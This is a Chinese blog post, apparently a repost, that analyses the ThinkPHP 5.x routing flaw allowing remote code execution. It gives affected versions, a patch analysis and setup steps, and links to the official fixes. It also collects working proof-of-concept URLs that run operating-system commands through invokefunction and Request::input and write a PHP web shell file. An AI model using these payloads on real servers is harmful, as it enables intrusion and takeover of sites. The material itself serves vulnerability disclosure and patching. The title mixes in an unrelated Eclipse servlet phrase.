eclipse的servlet默认不执行index_ThinkPHP5框架缺陷导致远程命令执行(POC整合帖)...

摘要

近日thinkphp团队发布了版本更新https://blog.thinkphp.cn/869075 ,其中修复了一处getshell漏洞。

29f4ab67149808d0353a848c7aa4ea43.png

影响范围

5.x < 5.1.31
<= 5.0.23

危害

远程代码执行

漏洞分析

以下漏洞分析源于斗鱼SRC公众号:斗鱼安全应急响应中心
分析补丁:802f284bec821a608e7543d91126abc5901b2815路由信息中controller的部分进行了过滤,可知问题出现在路由调度时。d95c632bc98424faea84b483b7136de8.png以5.1.23版本进行分析,执行路由调度的代码如下:17de423f101d999f9d1503479a6e04b7.png其中使用了$this->app->controller方法来实例化控制器,然后调用实例中的方法。跟进controller方法:c993329f8083cc7bb020a38c0f48c764.png其中通过parseModuleAndClass方法解析出$module$class,然后实例化$classrseModuleAndClass方法中,当$name以反斜线\开始时直接将其作为类名。利用命名空间的特点,如果可以控制此处的$name(即路由中的controller部分),那么就可以实例化任何一个类。
接着,我们再往回看路由解析的代码。其中route/dispatch/Url.php:: parseUrl方法调用了route/Rule.php:: parseUrlPath来解析pathinfo中的路由信息3b7abb81c0da1116a32a0cf4092ec89f.png代码比较简单,就是使用/对$url进行分割,未进行任何过滤。
其中的路由url从Request::path()中获取45b81156d46579d0c01fcbdcb38d0dfb.png由于var_pathinfo的默认配置为s,我们可利用$_GET['s']来传递路由信息,也可利用pathinfo来传递,但测试时windows环境下会将$_SERVER['pathinfo']中的\替换为/
结合前面分析可得初步利用代码如下:index.php?s=index/\namespace\class/method,这将会实例化\namespace\class类并执行method方法。
然而利用过程中会存在一些限制,部分类在实例化时由于缺少参数而报错。
经过一番寻找,在\think\Request类中找到可以利用的方法input。以下为执行phpinfo8474b079bada90541c85c2c179e183df.png

环境搭建

TP5.0.*

直接从官网下载完整包解压到www(网站根目录)目录即可,URL指向public目录(如:http://localhost/TP5.0.22/public/ )

TP5.1.*

官方不再提供完整版下载,笔者从composer下载最新版后与官方GitHub进行了对比,发现以下几个仓库Frameworkthinkthink-installer发现framework仓库就是完整版中的thinkphp目录ea10b8ba9c183a54528965f9a1102fdd.png840b7422e8b5bffa8efb7fad5acf1c0d.pngthink仓库是thinkphp的主架构think-installer对应路径为path\to\thinkphp\vendor\topthink\think-installer那么整合下就好了
最终目录架构b09bed9b4dca01667d92a6aeea5c7761.png访问下2ee2330cdecd13a60dcce1c3d25690b9.png

POC

TP版本5.0.21:

http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ida8c97eeb075c0eec0dd8c972542a1c55.pnghttp://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1326a403bde02377423e595b61624e7d9.png

TP版本5.0.22:

http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id5eed275e854b342c948db521bd300e7a.pnghttp://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1cf5020e2922936cfa25665a0e0bb0e90.png

TP5.1.*

thinkphp5.1.29为例

1、代码执行:http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1de06a7c7a1fa8326e2d59406156f9609.png2、命令执行:http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=操作系统命令42b5d2ef26723a569b4fedeb7a35d768.png3、文件写入(写shell):http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E7ae388f9c8a5a8aa52629f2af2938875.png4、未知:http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E

5、代码执行:http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1fe7494ce9093db0bb8acc9efa23f4585.png6、命令执行:http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令44efdbcb9c1a9c4228f55826470879fb.png7、代码执行:http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1465f2c659bed718387cc4d5b0bd29bb1.png8、命令执行:http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令a04f8955975fed96b6aaa990962232f0.png

修复方案

官方现已推出补丁 建议开发者进行修复

Thinkphp v5.0.x补丁地址: 

https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f

Thinkphp v5.1.x补丁地址: 

https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815

作者:Sp4ce  来源:bbs.ichunqiu.com


cfaf29dc43bfdfe8edfac17c279bb874.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值